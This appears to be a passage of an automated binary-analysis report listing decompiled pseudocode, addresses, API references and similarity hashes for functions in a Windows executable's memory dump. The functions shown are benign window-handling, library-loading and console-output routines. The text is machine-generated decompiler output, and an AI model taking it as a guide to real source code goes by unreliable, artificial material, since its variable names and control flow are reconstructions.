				_v56.lpfnWndProc = E00401440;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0;
				_v56.hInstance = _a4;
				_v56.hIcon = LoadIconW(_a4, 0x6b);
				_v56.hCursor = LoadCursorW(0, 0x7f00);
				_v56.hbrBackground = CreateSolidBrush(0xf24500);
				_v56.lpszMenuName = 0x6d;
				_v56.lpszClassName = 0x414960;
				_v56.hIconSm = LoadIconW(_v56.hInstance, 0x6c);
				RegisterClassExW( &_v56);
				_v56.lpfnWndProc = E00401070;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0;
				_v56.hInstance = _a4;
				_v56.hCursor = LoadCursorW(0, 0x7f00);
				_v56.hbrBackground = CreateSolidBrush(0x5da32a);
				_v56.lpszClassName = L"ChildWindow1";
				RegisterClassExW( &_v56);
				_v56.lpfnWndProc = E00401070;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0;
				_v56.hInstance = _a4;
				_v56.hCursor = LoadCursorW(0, 0x7f00);
				_v56.hbrBackground = CreateSolidBrush(0x20d9e3);
				_v56.lpszClassName = L"ChildWindow2";
				RegisterClassExW( &_v56);
				RegisterClassExW( &_v56);
				return E00401647(_t56, _v8 ^ _t67,  &_v56, _t65, _t66);
			}

0x00401306
0x0040130d
0x00401310
0x00401317
0x0040131e
0x00401325
0x0040132c
0x00401336
0x00401345
0x00401355
0x00401363
0x00401366
0x0040136d
0x00401380
0x00401387
0x0040138d
0x00401394
0x0040139b
0x004013a5
0x004013b5
0x004013c3
0x004013c6
0x004013d1
0x004013d7
0x004013de
0x004013e5
0x004013ef
0x004013ff
0x0040140d
0x00401410
0x0040141b
0x00401425
0x00401438

APIs

LoadIconW.USER32(?,0000006B), ref: 0040133F
LoadCursorW.USER32(00000000,00007F00), ref: 0040134F
CreateSolidBrush.GDI32(00F24500), ref: 0040135D
LoadIconW.USER32(?,0000006C), ref: 0040137A
RegisterClassExW.USER32 ref: 00401387
LoadCursorW.USER32(00000000,00007F00), ref: 004013AF
CreateSolidBrush.GDI32(005DA32A), ref: 004013BD
RegisterClassExW.USER32 ref: 004013D1
LoadCursorW.USER32(00000000,00007F00), ref: 004013F9
CreateSolidBrush.GDI32(0020D9E3), ref: 00401407
RegisterClassExW.USER32 ref: 0040141B
RegisterClassExW.USER32 ref: 00401425

Strings

`IA, xrefs: 0040136D
ChildWindow2, xrefs: 00401410
0, xrefs: 00401310
m, xrefs: 00401366

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: Load$ClassRegister$BrushCreateCursorSolid$Icon
String ID: 0$ChildWindow2$`IA$m
API String ID: 2820760024-3636650438
Opcode ID: b76f049c4b3f7c1ea112b333a74c790db3ba4f5d8bfc541b5da60fe40400b26f
Instruction ID: c89cb1a0b644aeb149f1dcc07d0cf5e7e0ded9e0dd5a93b74cafb8a5c7a7a009
Opcode Fuzzy Hash: b76f049c4b3f7c1ea112b333a74c790db3ba4f5d8bfc541b5da60fe40400b26f
Instruction Fuzzy Hash: 0B319AB4D01308AFDB00DFE0D959BEDBFB1FB48705F104529E505BA290DBB556488FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401440, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401440(struct HWND__* _a4, int _a8, signed int _a12, long _a16) {
				signed int _v8;
				struct tagPAINTSTRUCT _v72;
				int _v76;
				signed int _v80;
				signed int _v84;
				struct HDC__* _v88;
				void* __ebp;
				signed int _t29;
				void* _t46;
				void* _t58;
				void* _t59;
				signed int _t60;

				_t29 =  *0x4135b4; // 0x41a50e76
				_v8 = _t29 ^ _t60;
				_v76 = _a8;
				if(_v76 == 2) {
					PostQuitMessage(0);
					goto L14;
				} else {
					if(_v76 == 0xf) {
						_v88 = BeginPaint(_a4,  &_v72);
						_t56 = _a4;
						EndPaint(_a4,  &_v72);
						goto L14;
					} else {
						if(_v76 == 0x111) {
							_t56 = _a12 & 0xffff;
							_v84 = _a12 & 0xffff;
							_v80 = _v84;
							if(_v80 == 0x68) {
								_t56 =  *0x414b08; // 0x0
								DialogBoxParamW(_t56, 0x67, _a4, E00401000, 0);
								goto L10;
							} else {
								if(_v80 == 0x69) {
									DestroyWindow(_a4);
									L10:
									L14:
								} else {
									_t56 = _a12;
									DefWindowProcW(_a4, _a8, _a12, _a16);
								}
							}
						} else {
							_t56 = _a8;
							DefWindowProcW(_a4, _a8, _a12, _a16);
						}
					}
				}
				return E00401647(_t46, _v8 ^ _t60, _t56, _t58, _t59);
			}

0x00401446
0x0040144d
0x00401453
0x0040145a
0x004014fc
0x00000000
0x00401460
0x00401464
0x004014e7
0x004014ee
0x004014f2
0x00000000
0x00401466
0x0040146d
0x0040147d
0x00401480
0x00401486
0x0040148d
0x004014a4
0x004014ab
0x00000000
0x0040148f
0x00401493
0x004014b7
0x004014d7
0x0040151c
0x00401495
0x004014c3
0x004014cf
0x004014cf
0x00401493
0x0040146f
0x0040150c
0x00401514
0x00401514
0x0040146d
0x00401464
0x0040152b

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 004014CF
BeginPaint.USER32(?,?), ref: 004014E1
EndPaint.USER32(?,?), ref: 004014F2
PostQuitMessage.USER32(00000000), ref: 004014FC
DefWindowProcW.USER32(?,?,?,?), ref: 00401514

Strings

i, xrefs: 0040148F

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID: i
API String ID: 3181456275-3865851505
Opcode ID: f4d9f8c5a667113dae05f3563a0e4ca7dad83fd1a8716747a7bdf9ee34298860
Instruction ID: 6cc8df0024ce582eea9317f77eb596abe46a329afbbd9811e2079d5fdf8e6f8e
Opcode Fuzzy Hash: f4d9f8c5a667113dae05f3563a0e4ca7dad83fd1a8716747a7bdf9ee34298860
Instruction Fuzzy Hash: E8318075A04208EFCB18CFD4CD89EAE77B5EF88301F10852AF506AB2A0C7389945DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040109B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040109B() {
				struct HINSTANCE__* _t35;
				void* _t42;
				void* _t55;
				void* _t56;
				signed int _t57;

				 *(_t57 - 0x48) =  *(_t57 + 0xc);
				if( *(_t57 - 0x48) == 2) {
					PostQuitMessage(0);
					goto L14;
				} else {
					if( *(_t57 - 0x48) == 0xf) {
						 *((intOrPtr*)(_t57 - 0x54)) = BeginPaint( *(_t57 + 8), _t57 - 0x44);
						_t52 = _t57 - 0x44;
						EndPaint( *(_t57 + 8), _t57 - 0x44);
						goto L14;
					} else {
						if( *(_t57 - 0x48) == 0x111) {
							_t52 =  *(_t57 + 0x10) & 0x0000ffff;
							 *(_t57 - 0x50) =  *(_t57 + 0x10) & 0xffff;
							 *(_t57 - 0x4c) =  *(_t57 - 0x50);
							if( *(_t57 - 0x4c) == 0x68) {
								_t52 =  *(_t57 + 8);
								_t35 =  *0x414b08; // 0x0
								DialogBoxParamW(_t35, 0x67,  *(_t57 + 8), E00401000, 0);
								goto L10;
							} else {
								if( *(_t57 - 0x4c) == 0x69) {
									DestroyWindow( *(_t57 + 8));
									L10:
									L14:
								} else {
									_t52 =  *(_t57 + 8);
									DefWindowProcW( *(_t57 + 8),  *(_t57 + 0xc),  *(_t57 + 0x10),  *(_t57 + 0x14));
								}
							}
						} else {
							_t52 =  *(_t57 + 0x10);
							DefWindowProcW( *(_t57 + 8),  *(_t57 + 0xc),  *(_t57 + 0x10),  *(_t57 + 0x14));
						}
					}
				}
				return E00401647(_t42,  *(_t57 - 4) ^ _t57, _t52, _t55, _t56);
			}

0x0040109e
0x004010a5
0x00401146
0x00000000
0x004010ab
0x004010af
0x00401131
0x00401134
0x0040113c
0x00000000
0x004010b1
0x004010b8
0x004010c2
0x004010cb
0x004010d1
0x004010d8
0x004010e9
0x004010ef
0x004010f5
0x00000000
0x004010da
0x004010de
0x00401101
0x00401121
0x00401166
0x004010e0
0x00401115
0x00401119
0x00401119
0x004010de
0x004010ba
0x00401152
0x0040115e
0x0040115e
0x004010b8
0x004010af
0x00401175

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00401119
BeginPaint.USER32(?,?), ref: 0040112B
EndPaint.USER32(?,?), ref: 0040113C
PostQuitMessage.USER32(00000000), ref: 00401146
DefWindowProcW.USER32(?,?,?,?), ref: 0040115E

Strings

i, xrefs: 004010DA

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID: i
API String ID: 3181456275-3865851505
Opcode ID: 05c99cb2042ba4398a09393e42c76106f5b528d8e146c5689ccdc06c8eb6c158
Instruction ID: cfb13266d26950bbbf28aec32cd5717837e4da35bf32998ae19afaebc8251973
Opcode Fuzzy Hash: 05c99cb2042ba4398a09393e42c76106f5b528d8e146c5689ccdc06c8eb6c158
Instruction Fuzzy Hash: 2C211E75A04208EBCB18CFD4D945AAE7775AF88701F10812AF606AE2A0C7389D45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00406419, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406419(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x414828 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x40e7e0 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E00405EA0(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E00405EA0(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x00406422
0x004064cc
0x0040642a
0x0040642c
0x00406433
0x00406435
0x0040643b
0x00406448
0x0040645d
0x00406461
0x004064b3
0x004064b3
0x004064b8
0x004064bc
0x004064bf
0x004064bf
0x004064c5
0x004064c7
0x004064dc
0x004064d7
0x004064db
0x004064db
0x004064c9
0x004064c9
0x00000000
0x004064c9
0x00406463
0x0040646c
0x004064a3
0x004064a3
0x004064a5
0x004064a7
0x00000000
0x00000000
0x004064af
0x00000000
0x004064af
0x00406476
0x0040647b
0x00406480
0x00000000
0x00000000
0x0040648a
0x0040648f
0x00406494
0x00000000
0x00000000
0x00406499
0x0040649f
0x00000000
0x0040649f
0x00406440
0x00000000
0x00000000
0x00000000
0x00406446
0x004064d5
0x00000000

Strings

ext-ms-, xrefs: 00406484
api-ms-, xrefs: 00406470

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 2986576ca672ce4abe159e70970069ff9fcbfd1297d4345a80f46e99953f4722
Instruction ID: e2c5c969e61a80b7a4d0c8a31726284828205304b83736ab4d4dff1b37bdbae2
Opcode Fuzzy Hash: 2986576ca672ce4abe159e70970069ff9fcbfd1297d4345a80f46e99953f4722
Instruction Fuzzy Hash: EA21C031E05221BBDB228B65ED45A2B36589F00774F220632ED0BB73D1E67CED2585ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408088, Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00408088(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x4135b4; // 0x41a50e76
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x414620 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E00403DEE( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x414620 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x413cf8; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x414620 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E00408DDA( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x413cf8)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x414620 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E0040B350( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x414620 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E00408DDA( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E0040554F(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E00405E7C(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push(1);
								_push(_t269);
								goto L26;
							} else {
								_t100 =  &(_t269[1]); // 0x1
								_t202 = _t100;
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x414620 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x414620 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x414620 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E004075F2( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E004075F2();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E00401647(_t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x00408093
0x0040809a
0x0040809d
0x004080a5
0x004080a8
0x004080b5
0x004080b8
0x004080bb
0x004080c2
0x004080ca
0x004080cd
0x004080d0
0x004080d6
0x004080d8
0x004080df
0x004080e9
0x004080eb
0x004080ee
0x004080f1
0x004080f4
0x004080f7
0x004080fa
0x00408100
0x0040840b
0x0040840b
0x00000000
0x00408106
0x0040810e
0x00408111
0x00408117
0x0040811a
0x00408121
0x00408128
0x0040812b
0x00000000
0x00000000
0x00408134
0x00408139
0x0040813b
0x0040813e
0x00408143
0x00408147
0x00000000
0x00000000
0x00000000
0x00408147
0x0040814c
0x0040814e
0x00408153
0x0040820d
0x00408214
0x00408215
0x00408218
0x0040821a
0x004083be
0x004083c0
0x00000000
0x004083c2
0x004083c2
0x004083c5
0x004083d4
0x004083d8
0x004083d9
0x004083d9
0x00000000
0x004083dd
0x00408220
0x00408222
0x00408228
0x0040822b
0x00408237
0x00408240
0x0040824b
0x00408250
0x00408253
0x00408256
0x00000000
0x0040825c
0x0040825c
0x00000000
0x0040825c
0x00408256
0x00408159
0x00408168
0x00408169
0x0040816c
0x0040816f
0x00408174
0x0040838a
0x0040838c
0x0040838e
0x00408390
0x0040839a
0x004083a2
0x004083a4
0x004083a5
0x004083a9
0x004083ac
0x004083ac
0x004083b0
0x004083b0
0x004083b0
0x004083b3
0x004083b3
0x004083b3
0x004083b5
0x004083b5
0x004083b9
0x0040817a
0x0040817a
0x0040817d
0x0040817f
0x00408182
0x00408185
0x00408189
0x0040818a
0x0040818e
0x00408191
0x00408196
0x004081a0
0x004081a5
0x004081a8
0x004081ab
0x004081ab
0x004081ae
0x004081b1
0x004081b3
0x004081bc
0x004081c0
0x004081c1
0x004081c5
0x004081cb
0x004081d4
0x004081e1
0x004081e8
0x004081ec
0x004081f7
0x004081fc
0x00408202
0x00000000
0x00408208
0x0040825f
0x00408260
0x004082e3
0x004082ea
0x004082f2
0x004082fa
0x004082ff
0x00408302
0x00408307
0x00000000
0x0040830d
0x00408322
0x00408402
0x00408408
0x00000000
0x00408328
0x00408331
0x00408333
0x00408339
0x00000000
0x0040833f
0x00408343
0x00408379
0x0040837c
0x00000000
0x00408382
0x00408382
0x00000000
0x00408382
0x00408345
0x00408347
0x00408349
0x00408362
0x00000000
0x00408368
0x0040836c
0x00000000
0x00408372
0x00408372
0x00408375
0x00408376
0x00000000
0x00408376
0x0040836c
0x00408362
0x00408343
0x00408339
0x00408322
0x00408307
0x00408202
0x00408174
0x00000000
0x00408264
0x00408264
0x00408268
0x0040826b
0x0040828d
0x00408290
0x00408295
0x00408299
0x0040829d
0x004082cb
0x004082cd
0x00000000
0x0040829f
0x0040829f
0x0040829f
0x004082a2
0x004082a5
0x004082a8
0x004083df
0x004083e2
0x004083e5
0x004083ef
0x004083fa
0x004083ff
0x00000000
0x004082ae
0x004082b5
0x004082ba
0x004082bd
0x004082c0
0x00000000
0x004082c6
0x004082c6
0x00000000
0x004082c6
0x004082c0
0x004082a8
0x0040826d
0x00408271
0x00408274
0x00408279
0x0040827f
0x00408281
0x00408288
0x004082ce
0x004082d1
0x004082d2
0x004082d7
0x004082da
0x004082dd
0x00000000
0x00000000
0x00000000
0x00000000
0x004082dd
0x00000000
0x0040826b
0x00408106
0x0040840e
0x0040840e
0x00408410
0x00408413
0x00408413
0x00408413
0x00408413
0x00408425
0x00408427
0x00408428
0x00408429
0x00408433

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 004080D0
__fassign.LIBCMT ref: 004082B5
__fassign.LIBCMT ref: 004082D2
WriteFile.KERNEL32(?,00406DA1,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040831A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0040835A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408402

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: fa49608a1b8b7afe80152dc6e0a2f179e4c55ba3ca34732b2ff83a0be008ddd8
Instruction ID: 2d1d280cd16bdd5d7fdde2f3e6197e86f53cb27fcc924cf65c203782a2b58b63
Opcode Fuzzy Hash: fa49608a1b8b7afe80152dc6e0a2f179e4c55ba3ca34732b2ff83a0be008ddd8
Instruction Fuzzy Hash: B1C18F71D002589FCB15CFA8C9809EEBBB5EF48314F28416EE895BB381D6359D06CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403523, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
